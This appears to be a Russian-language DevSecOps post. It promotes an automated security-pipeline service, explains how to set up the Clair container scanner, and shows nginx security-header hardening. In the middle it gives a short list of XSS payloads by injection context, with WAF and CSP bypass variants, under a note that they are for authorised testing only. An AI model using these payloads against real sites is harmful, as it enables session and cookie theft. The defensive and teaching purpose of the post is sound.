Мы строим систему, при которой каждая поставка кода в прод проверяется на безопасность автоматически. Сейчас у вас код уходит в продакшн без проверки ИБ, или проверка происходит хаотично — раз в квартал, перед аудитом, после инцидента и т.д. Это как пожарная проверка раз в год вместо пожарной сигнализации и вслучае воспламенения возникают риски которые приходится решать в моменте времени.

Автоматический pipeline, который на каждый commit проверяет код статически (SAST), проверяет зависимости (SCA), сканирует контейнеры, ищет секреты в коде. А также ручное DAST-тестирование web-приложений и API. А также процесс управления найденных уязвимостей — не просто «вот вам PDF-отчёт на 200 страниц», а маршрутизация задач в Jira на конкретных разработчиков с приоритетами и сроками.

Снижение реального риска инцидента, компрометации, утечки и т.д. Стоимость инцидента против стоимости предотвращения — разница в десятки раз.

Самое простое в этом ответе: нет компетенций в данной области, направления и возможностей правильно строить сразу, а не обучаться в процессе и тратить на это неимоверные косты, иначе бы не было вакансий в поиске для данных позиций. (обычно это работает там, где реально строится все с нуля)

Например, купить лицензию на инструмент типа Checkmarx, PT Application Inspector, Solar appScreener и делать самим разработчикам ручками, где инструмент без экспертизы — это как МРТ-аппарат без врача. Именно поэтому нужен человек, который настроит правила под ваш стек, отфильтрует ложные срабатывания (достигают более 70% от общих сработок), приоритизирует по реальному риску для бизнеса, встроит в pipeline и т.д. Просто купить сканер и запустить — получите отчёт на 500 страниц, с которым никто не знает что делать и как это решается, плюс что бы получить отчет придется повозиться с настройкой, даже если будет интеграция и настройка от вендора/ интегратора - это дополнительные косты, которые во много раз дороже обойдутся

Но мы внутри уже знаем инфраструктуру, процессы, контуры, Gitlab, Nexus. Мы не тратим 2 месяца на погружение. Плюс мы не просто сканируем и отдаём отчёт — мы строим процесс, который работает после нашего ухода. Автоматизация остаётся у вас, pipeline остаётся у вас, команда обучается и начинает реально работать с этим руками, а не просто бездумно выполняет очередные требования, которые не заточены под их стек.

• Полностью развёрнутая и настроенная инфраструктура ИБ-тестирования
• Результаты комплексного анализа защищённости
• Работающий автоматизированный pipeline ИБ в CI/CD с Quality Gate
• Процесс управления уязвимостями через ASOC/ ASPM и Jira
• Управление секретами (Vault)
• Процесс обработки инцидентов ИБ
• Аналитические отчёты с оценкой рисков, триажем и рекомендациями
• Документация: UML pipeline, технический мануал, рекомендации
• Обученная команда — через совместную работу, консультации и отработку ложно позитивных срабатываний уязвимостей
• Готовый фундамент для дальнейшего повышения зрелости DevSecOps

• Индексация - получает манифест образа, извлекает слои, сканирует их содержимое и формирует промежуточный отчет
• Сопоставляет данные из промежуточного отчета с базой известных уязвимостей и возвращает реальные уязвимости
• При обнаружении новых сработок определяет, какие из ранее проиндексированных образов они затрагивают, и отправляет уведомления согласно настройкам

• Анализирует образы статически — контейнер запускать не нужно, всё на уровне манифеста и слоёв
• Поддерживает базы уязвимостей: NVD, Alpine SecDB, RHEL, Ubuntu, Debian, Oracle и другие
• Режим Notifier — при появлении новой CVE для уже проверенного образа отправит вебхук, без повторного сканирования
• SARIF для GitHub Security, GitLab SAST Code Scanning
• JSON для DefectDojo, Jira, Quay Registry
• Масштабируется горизонтально: Indexer / Matcher / Notifier разносятся по отдельным инстансам под нагрузку
• Встроен в Red Hat Quay как основной движок сканирования образов в registry (про Red Hat понятно, но переиспользуемый)

# Установить clairctl
go install github.com/quay/clair/v4/cmd/clairctl@latest

# Сканировать публичный образ
clairctl report --host http://localhost:6060 ubuntu:focal

# Сканировать с конфигом (если включён PSK-auth)
clairctl report \
  --config ./config/clair.yaml \
  --host http://localhost:6060 \
  nginx:1.25

# Проверка
docker compose up -d
curl http://localhost:6061/healthz

# Проверка API Indexer
curl http://localhost:8080/indexer/api/v1/index_stat

# Пример вывода:
# ubuntu:focal found libpcre3 2:8.39-12build1 CVE-2017-11164
# ubuntu:focal found libc6 2.31-0ubuntu9 CVE-2016-10228
# ubuntu:focal found libgcrypt20 1.8.5-5ubuntu1 CVE-2019-12904

# config/clair.yaml
http_listen_addr: ":6060"
introspection_addr: ":6061"
log_level: debug

indexer:
  connstring: "host=clair-db port=5432 user=clair dbname=clair sslmode=disable"
  migrations: true

matcher:
  connstring: "host=clair-db port=5432 user=clair dbname=clair sslmode=disable"
  migrations: true

notifier:
  connstring: "host=clair-db port=5432 user=clair dbname=clair sslmode=disable"
  migrations: true
  webhook:
    target: "https://your-service/clair-webhook"
    callback: "http://clair:6060/notifier/api/v1/notifications"

# Отдельный workflow — обновляет базу раз в сутки
name: Update Clair DB
on:
  schedule:
    - cron: '0 5 * * *'

jobs:
  update-db:
    runs-on: ubuntu-latest
    steps:
      - name: Generate vulnerability DB
        uses: quay/clair-action@main
        with:
          db-file: matcher.db
          mode: update

      - name: Cache DB
        uses: actions/cache@v3
        with:
          path: matcher.db
          key: clair-matcher-db

# В основном CI используем закэшированную базу:
# - name: Grab cached DB
#   uses: actions/cache@v3
#   with:
#     path: matcher.db
#     key: clair-matcher-db

Clair заходит, если уже есть Quay или нужен движок, который можно встроить в registry и CI одновременно, а именно - сканирует при push, держит базу актуальной и алертит при новых CVE без повторных прогонов.

Если хочется потыкать в связке с другими инструментами — смотри в сторону связки Clair + DefectDojo + SecScore для полноценного Security Gate.

Это генератор контекстных XSS-payloads и использует уже составленную базу, сам ресурс заточен под реальные сценарии эксплуатации. В отличие от простых XSS-листов, здесь payloads разбиты по типу инъекции, контексту и применимости к конкретным защитам. Заметь, что это именно community-driven, который открыт для добавления нагрузок. Generator | GitHub

<!-- HTML-тег, нет WAF -->
<script>alert(document.cookie)</script>

<!-- Атрибут value, двойные кавычки закрыты -->
"onmouseover="alert(1)

<!— href-атрибут -->
javascript:alert(document.domain)

<!-- inline-JS, строка в одинарных кавычках -->
';alert(document.cookie)//

<!-- WAF блокирует <script> и alert() -->
<img src=x onerror=confirm`1`>
<svg/onload=eval(atob('YWxlcnQoMSk='))>
<details open ontoggle=alert(1)>

<!-- CSP блокирует inline-скрипты, но разрешает nonce -->
<script nonce="УГАДАННЫЙ_NONCE">alert(1)</script>

<!-- DOM-based, где параметр попадает в innerHTML -->
#<img src=1 onerror=alert(1)>

Только в рамках исследовательских целей и использования на основании тестов и обучения на своих стендах, лабораторных работ, а также с письменным разрешением (bug bounty scope, договор)

• Content-Security-Policy (CSP) — говорит браузеру, откуда можно грузить скрипты, стили, картинки, фреймы. Обрезает inline-JS и сторонние ресурсы, которые ты не контролируешь
• Strict-Transport-Security (HSTS) — запрещает браузеру заходить на сайт по HTTP, только HTTPS. После первого посещения браузер сам редиректит на HTTPS, даже если пользователь набрал http
• X-Frame-Options — запрещает встраивать страницу в <iframe> с чужих доменов. Защита от clickjacking. Устаревший, но всё ещё нужен для браузеров, которые поддерживаются на также устаревших девайсах. Используется в паре с CSP frame-ancestors
• X-Content-Type-Options — запрещает браузеру угадывать MIME-тип файла самостоятельно, так как без этого заголовка браузер может исполнить .jpg какJavaScript
• Referrer-Policy — контролирует, сколько информации о текущем URL уходит в заголовке Referer при переходе. Важно для страниц с токенами в URL или чувствительными путями
• Permissions-Policy — разрешает или запрещает доступ к API браузера (камера, микрофон, геолокация, fullscreen и т.д.) для самой страницы и для iframe

server {
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    add_header X-Frame-Options "DENY" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()" always;

    # CSP — стартовая строгая политика
    add_header Content-Security-Policy "
        default-src 'self';
        script-src 'self';
        style-src 'self' 'unsafe-inline';
        img-src 'self'  https:;
        font-src 'self';
        connect-src 'self';
        frame-ancestors 'none';
        base-uri 'self';
        form-action 'self';
    " always;
}

# Через curl — смотрим headers ответа
curl -I https://example.com

# Подробнее — только security-relevant headers
curl -s -D - https://example.com -o /dev/null | grep -iE \
  "strict-transport|content-security|x-frame|x-content-type|referrer|permissions"

• Следует начинать с Content-Security-Policy-Report-Only — заголовок логирует нарушения, но ещё не блокирует. Смотришь логи и убираешь фолсы
• frame-ancestors 'none'  в CSP полностью заменяет X-Frame-Options: DENY
• Не ставить max-age у HSTS ниже одного года — иначе толку мало. preload добавляет сайт в браузерный preload list, после чего HTTPS будет обязательным ещё до первого запроса
• Permissions-Policy — прописывать явно, даже если запрещаешь всё: camera=(), microphone=(), payment=()

• Фундамент безопасности: DevSecOps-революция в банках
• Страховой щит: зрелые практики безопасности в страховом бизнесе
• Региональный импульс: развитие DevSecOps в регионах
• Открытые горизонты: Open Source в безопасности ПО
• Архитекторы безопасности: интеграция DevSecOps
• Технологический прорыв: новые горизонты безопасности ПО
• Новые герои безопасной разработки

• Виктор Бобыльков, директор по кибербезопасности MTS Web Services
• Сергей Демидов, заместитель председателя правления по ИБ ПАО «Московская биржа»
• Татьяна Билык, директор технологических проектов Ассоциации ФинТех
• Владимир Высоцкий, руководитель отдела по развитию бизнеса ПО Solar appScreener
• Федор Герасимов, DevSecOps Tech Lead, IT-Холдинг Т1
• Илья Шмаков, AppSec Teamlead ЛАНИТ